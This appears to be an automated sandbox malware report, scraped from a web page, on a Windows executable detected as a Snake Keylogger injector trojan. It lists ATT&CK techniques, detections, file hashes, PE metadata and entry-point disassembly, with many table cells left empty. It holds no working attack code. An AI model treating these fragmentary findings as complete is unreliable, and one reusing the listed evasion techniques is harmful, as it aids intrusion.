| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Last function: | ||
| Source: | Last function: | ||
| Source: | Code function: | 0_2_00402868 | |
| Source: | Code function: | 0_2_004065DA | |
| Source: | Code function: | 0_2_004059A9 | |
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | API call chain: | graph_0-3397 | ||
| Source: | API call chain: | graph_0-3550 | ||
| Source: | Process information queried: | Jump to behavior | ||
Anti Debugging | |
|---|
| Source: | Thread information set: | Jump to behavior | ||
| Source: | Thread information set: | Jump to behavior | ||
| Source: | Process queried: | Jump to behavior | ||
| Source: | Code function: | 2_2_0097F300 | |
| Source: | Process token adjusted: | Jump to behavior | ||
HIPS / PFW / Operating System Protection Evasion | |
|---|
| Source: | Process created / APC Queued / Resumed: | Jump to behavior | ||
| Source: | Thread APC queued: | Jump to behavior | ||
| Source: | Memory written: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Code function: | 0_2_0040336C | |
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Windows Management Instrumentation | 1 DLL Side-Loading | 1 Access Token Manipulation | 1 Masquerading | OS Credential Dumping | 211 Security Software Discovery | Remote Services | 1 Archive Collected Data | 11 Encrypted Channel | Exfiltration Over Other Network Medium | 1 System Shutdown/Reboot |
| Credentials | Domains | Default Accounts | 2 PowerShell | Boot or Logon Initialization Scripts | 311 Process Injection | 131 Virtualization/Sandbox Evasion | LSASS Memory | 1 Process Discovery | Remote Desktop Protocol | 1 Clipboard Data | 3 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | 1 DLL Side-Loading | 1 Access Token Manipulation | Security Account Manager | 131 Virtualization/Sandbox Evasion | SMB/Windows Admin Shares | Data from Network Shared Drive | 3 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 311 Process Injection | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 14 Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 1 Obfuscated Files or Information | LSA Secrets | 2 File and Directory Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
| Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 Software Packing | Cached Domain Credentials | 14 System Information Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
| DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | 1 DLL Side-Loading | DCSync | Remote System Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 66% | Virustotal | Browse | ||
| 65% | ReversingLabs | Win32.Spyware.Snakekeylogger | ||
| 100% | Avira | TR/Injector.ljese |
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 100% | Avira | TR/Injector.ljese | ||
| 65% | ReversingLabs | Win32.Spyware.Snakekeylogger |
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| drive.google.com | 142.250.185.110 | true | false | high | |
| drive.usercontent.google.com | 216.58.206.65 | true | false | high |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 142.250.185.110 | drive.google.com | United States | 15169 | GOOGLEUS | false | |
| 216.58.206.65 | drive.usercontent.google.com | United States | 15169 | GOOGLEUS | false |
| Joe Sandbox version: | 42.0.0 Malachite |
| Analysis ID: | 1587590 |
| Start date and time: | 2025-01-10 15:15:23 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 6m 51s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 12 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | You7ynHizy.exerenamed because original name is a hash value |
| Original Sample Name: | a2091538aaa8d84e6a73bee323daa339c64d4cb13d857a05742445f65fc66013.exe |
| Detection: | MAL |
| Classification: | mal100.troj.evad.winEXE@6/12@2/2 |
| EGA Information: |
|
| HCA Information: |
|
| Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
- Excluded IPs from analysis (whitelisted): 13.107.253.45, 172.202.163.200
- Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- Execution Graph export aborted for target msiexec.exe, PID 5692 because there are no executed function
- Execution Graph export aborted for target powershell.exe, PID 5036 because it is empty
- Not all processes where analyzed, report is missing behavior information
| Time | Type | Description |
|---|---|---|
| 09:16:15 | API Interceptor | |
| 09:16:58 | API Interceptor |
⊘No context
⊘No context
⊘No context
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | GuLoader | Browse |
| |
| Get hash | malicious | CobaltStrike, Metasploit | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | CredGrabber, Meduza Stealer | Browse |
| ||
| Get hash | malicious | GhostRat | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Babuk, Djvu | Browse |
| ||
| Get hash | malicious | CobaltStrike | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
|
⊘No context
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | modified |
| Size (bytes): | 14744 |
| Entropy (8bit): | 4.992175361088568 |
| Encrypted: | false |
| SSDEEP: | 384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA |
| MD5: | A35685B2B980F4BD3C6FD278EA661412 |
| SHA1: | 59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062 |
| SHA-256: | 3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930 |
| SHA-512: | 70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\You7ynHizy.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 478461 |
| Entropy (8bit): | 1.2475162534380173 |
| Encrypted: | false |
| SSDEEP: | 1536:R/xRunV7hsXgfAfBz7Wr/dIoM1mI/hqrJPNOeam:1SV7bYfp7QIT41N2 |
| MD5: | BF4A008DC0B6586BA5DC8205FFC7DF72 |
| SHA1: | 0D84F9EF7D25DAB9667BEA1FCD6892621B5BD404 |
| SHA-256: | 497253D655FA9BDCDF3058A1092EA37C5954FB532ED86F04DE1C7121784D1EA7 |
| SHA-512: | 71EDACB5E8E860D1D936F152C20609DEAD0E9F388099F2DD33D41DDBF2EA1AFB58A2C6BFFC484C2DF7565AF9C294F2C0D2F86AAA4740F19FDE1FE8A8B821F78B |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\You7ynHizy.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 54244 |
| Entropy (8bit): | 5.277142980394084 |
| Encrypted: | false |
| SSDEEP: | 1536:wBN5cfD5CexdtljClWKId45M3ylcZuxZvlKaOT:wW75jjuIWaaxtl3m |
| MD5: | 093A76933D4F5ACC7E8710092DB5D62D |
| SHA1: | 4CDB7220CF42BAE8F203912558ED514E82BDCAC0 |
| SHA-256: | 15FC2C43369D3A532643A24D84C3A54B38C47FD2E4570C24FF83E4929100EF25 |
| SHA-512: | CB6C33ED85603EA07F0E6BB1C10DB54992D36ED2AE888A56ECE7B06AB7E7FA06A761E1DB43ABE100093AB8A1BC37BC76E09CBBC9650B289B52B5838F15F1A34F |
| Malicious: | true |
| Preview: |
| Process: | C:\Users\user\Desktop\You7ynHizy.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 314564 |
| Entropy (8bit): | 7.694367926160216 |
| Encrypted: | false |
| SSDEEP: | 6144:HwvjWWlPYh6QcbC/tZ/Mgk6+HfPwm2VYOiaFfKVqh9YN/lkDpB9n26h01hmW:HwviFQJbkewmYpf7YEpB926hYcW |
| MD5: | 26C7AF068C7A28FCEAB7D79EB92DC3E5 |
| SHA1: | 2CB47B61A7DCA9DE6725AC6F16B09B6D4E31B87B |
| SHA-256: | F0FF2DBCA77C34AA69EED79D68ADD193B0F415B688481B382EA324E0E62F67AD |
| SHA-512: | 5B138E09AA7BE673BFF9AA83A8D6F05C8F1C3185003B2F604004C3AD5B3529A73D444DCA2879F2900391DD3BEC9D36A58EFBF85B5FC2580BA690BD145A3281C9 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\You7ynHizy.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 436009 |
| Entropy (8bit): | 1.2582605930205382 |
| Encrypted: | false |
| SSDEEP: | 768:hcdhFKp23vdhctpU19YKVceNXiajgLRY2hLsKf/LTWSs9D1bFuYRiQHlWrmcZE+t:T9ogp/vuFYha+YI6vuAYskfI2ByWSlq |
| MD5: | BA41A53F0CE12BDF6DDE858C1BB56E67 |
| SHA1: | 28CC8982281E9540750800B87B128ACF3E86E1B4 |
| SHA-256: | 0DDFC3936461A4A299A8B57D2EE5A4C11B057233AE905D2EBBB3641E4D9FD0CE |
| SHA-512: | 77DDDF113CB001D489B2B4B39E5E953B03A76D72EEABAB0C82FFA8C8E1677755A75740A98D32871CB086AE65B0BD2EEE1319BD87C59CC98169ECBE60EE83348E |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 672464 |
| Entropy (8bit): | 7.738289638576833 |
| Encrypted: | false |
| SSDEEP: | 12288:D2QJ9o2sW3B9o2G2/6SkwoFzwjGPi54KeS/8chssEprfUhyWjX53XOn:Dv9o2sW3B9oV2iSkwotwfTx2sKUhyaRu |
| MD5: | 98E8E7C349CBB65B53681757DC2959AE |
| SHA1: | 8FBB5F9C2A9E524C39AB6269A083353A898D5B57 |
| SHA-256: | A2091538AAA8D84E6A73BEE323DAA339C64D4CB13D857A05742445F65FC66013 |
| SHA-512: | 8A9C030981D8C9D666F46602EC2BF1A84D38F414A60D6E77582CCCD47621113FB574F4C57A1CDD11C2D2F2CE9A7ACB122443645A59D0FFD6F995C4F3A2426AF4 |
| Malicious: | true |
| Antivirus: |
|
| Preview: |
C:\Users\user\AppData\Local\downrange\Stutteriers\samfrdselen\You7ynHizy.exe:Zone.Identifier 
Download File
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 26 |
| Entropy (8bit): | 3.95006375643621 |
| Encrypted: | false |
| SSDEEP: | 3:ggPYV:rPYV |
| MD5: | 187F488E27DB4AF347237FE461A079AD |
| SHA1: | 6693BA299EC1881249D59262276A0D2CB21F8E64 |
| SHA-256: | 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309 |
| SHA-512: | 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E |
| Malicious: | true |
| Preview: |
| Process: | C:\Users\user\Desktop\You7ynHizy.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 356 |
| Entropy (8bit): | 4.234486179912683 |
| Encrypted: | false |
| SSDEEP: | 6:URWM/KBzGLFXivfRO5BViaS035LKlewERn62GFVhyzpFiqizhRc48RV1CnmMWIX+:UkgK4Lg3ROI0pLYT4Ahj3zKRV67WIXC7 |
| MD5: | E514D8FDFF4A7AC568F2DED93DADB44E |
| SHA1: | DF81016124C8941F2D9F75B1BCB3D951F911626C |
| SHA-256: | 687D18EA6077CE147AC2358AEF39F33119CC6C46A0A38C46AE444E75F595EE74 |
| SHA-512: | E6E8734937C7F6CDF0FA3F25861A42CE31485555EF236B2922C0E90AA22C1B2D4BBB757AA13BF9C41948DAC261CF042565D2608074246000D479B143962B4CF3 |
| Malicious: | false |
| Preview: |
| File type: | |
| Entropy (8bit): | 7.738289638576833 |
| TrID: |
|
| File name: | You7ynHizy.exe |
| File size: | 672'464 bytes |
| MD5: | 98e8e7c349cbb65b53681757dc2959ae |
| SHA1: | 8fbb5f9c2a9e524c39ab6269a083353a898d5b57 |
| SHA256: | a2091538aaa8d84e6a73bee323daa339c64d4cb13d857a05742445f65fc66013 |
| SHA512: | 8a9c030981d8c9d666f46602ec2bf1a84d38f414a60d6e77582cccd47621113fb574f4c57a1cdd11c2d2f2ce9a7acb122443645a59d0ffd6f995c4f3a2426af4 |
| SSDEEP: | 12288:D2QJ9o2sW3B9o2G2/6SkwoFzwjGPi54KeS/8chssEprfUhyWjX53XOn:Dv9o2sW3B9oV2iSkwotwfTx2sKUhyaRu |
| TLSH: | 80E40246B150C9AFC6E5B2348566DB58E4B77CB18C32428B73D13B8CEDBDB51684B813 |
| File Content Preview: | MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....oZ.................d....:.... |
 | |
| Icon Hash: | 397d694151710f3c |
| Entrypoint: | 0x40336c |
| Entrypoint Section: | .text |
| Digitally signed: | true |
| Imagebase: | 0x400000 |
| Subsystem: | windows gui |
| Image File Characteristics: | RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
| DLL Characteristics: | DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
| Time Stamp: | 0x5A6FED1F [Tue Jan 30 03:57:19 2018 UTC] |
| TLS Callbacks: | |
| CLR (.Net) Version: | |
| OS Version Major: | 4 |
| OS Version Minor: | 0 |
| File Version Major: | 4 |
| File Version Minor: | 0 |
| Subsystem Version Major: | 4 |
| Subsystem Version Minor: | 0 |
| Import Hash: | b34f154ec913d2d2c435cbd644e91687 |
| Signature Valid: | false |
| Signature Issuer: | CN="Overfladearealernes jerreeds Zygnemaceous ", E=Martine@Noodleism.uke, L=Sandwith, S=England, C=GB |
| Signature Validation Error: | A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider |
| Error Number: | -2146762487 |
| Not Before, Not After |
|
| Subject Chain |
|
| Version: | 3 |
| Thumbprint MD5: | D14B07C67541D7394FE48F79E92EF7EF |
| Thumbprint SHA-1: | 2F4C585543297A75AECF936E3B2D1CD7E6C067C5 |
| Thumbprint SHA-256: | 9736A5F83B15C8BE72675FAB274D3878BE5557A12D72D58C51BF780F5AB544A2 |
| Serial: | 013669E1CDC12705DCFF40A52EA09744E0A6F368 |
| Instruction |
|---|
| sub esp, 000002D4h |
| push ebx |
| push esi |
| push edi |
| push 00000020h |
| pop edi |
| xor ebx, ebx |
| push 00008001h |
| mov dword ptr [esp+14h], ebx |
| mov dword ptr [esp+10h], 0040A2E0h |
| mov dword ptr [esp+1Ch], ebx |
| call dword ptr [004080A8h] |
| call dword ptr [004080A4h] |
| and eax, BFFFFFFFh |
| cmp ax, 00000006h |
| mov dword ptr [007A8A2Ch], eax |
| je 00007F8D188B4D23h |
| push ebx |
| call 00007F8D188B7FD5h |
| cmp eax, ebx |
| je 00007F8D188B4D19h |
| push 00000C00h |
| call eax |
| mov esi, 004082B0h |
| push esi |
| call 00007F8D188B7F4Fh |
| push esi |
| call dword ptr [00408150h] |
| lea esi, dword ptr [esi+eax+01h] |
| cmp byte ptr [esi], 00000000h |
| jne 00007F8D188B4CFCh |
| push 0000000Ah |
| call 00007F8D188B7FA8h |
| push 00000008h |
| call 00007F8D188B7FA1h |
| push 00000006h |
| mov dword ptr [007A8A24h], eax |
| call 00007F8D188B7F95h |
| cmp eax, ebx |
| je 00007F8D188B4D21h |
| push 0000001Eh |
| call eax |
| test eax, eax |
| je 00007F8D188B4D19h |
| or byte ptr [007A8A2Fh], 00000040h |
| push ebp |
| call dword ptr [00408044h] |
| push ebx |
| call dword ptr [004082A0h] |
| mov dword ptr [007A8AF8h], eax |
| push ebx |
| lea eax, dword ptr [esp+34h] |
| push 000002B4h |
| push eax |
| push ebx |
| push 0079FEE0h |
| call dword ptr [00408188h] |
| push 0040A2C8h |
| Programming Language: |
|
| Name | Virtual Address | Virtual Size | Is in Section |
|---|---|---|---|
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IMPORT | 0x84fc | 0xa0 | .rdata |
| IMAGE_DIRECTORY_ENTRY_RESOURCE | 0x3d4000 | 0x27cc0 | .rsrc |
| IMAGE_DIRECTORY_ENTRY_EXCEPTION | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_SECURITY | 0xa3900 | 0x9d0 | .data |
| IMAGE_DIRECTORY_ENTRY_BASERELOC | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_DEBUG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COPYRIGHT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_GLOBALPTR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_TLS | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IAT | 0x8000 | 0x2b0 | .rdata |
| IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_RESERVED | 0x0 | 0x0 |
| Name | Virtual Address | Virtual Size | Raw Size | MD5 | Xored PE | ZLIB Complexity | File Type | Entropy | Characteristics |
|---|---|---|---|---|---|---|---|---|---|
| .text | 0x1000 | 0x6400 | 0x6400 | eed0986138e3ef22dbb386f4760a55c0 | False | 0.6783203125 | data | 6.511089687733535 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
| .rdata | 0x8000 | 0x138e | 0x1400 | 2914bac53cd4485c9822093463e4eea6 | False | 0.4509765625 | data | 5.146454805063938 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| .data | 0xa000 | 0x39eb38 | 0x600 | 09e0c528682cd2747c63b7ba39c2cc23 | unknown | unknown | unknown | unknown | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .ndata | 0x3a9000 | 0x2b000 | 0x0 | d41d8cd98f00b204e9800998ecf8427e | False | 0 | empty | 0.0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .rsrc | 0x3d4000 | 0x27cc0 | 0x27e00 | 3ff3f9c979a556a14466f3e7fca5a16a | False | 0.5468566320532915 | data | 6.448700520091383 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| Name | RVA | Size | Type | Language | Country | ZLIB Complexity |
|---|---|---|---|---|---|---|
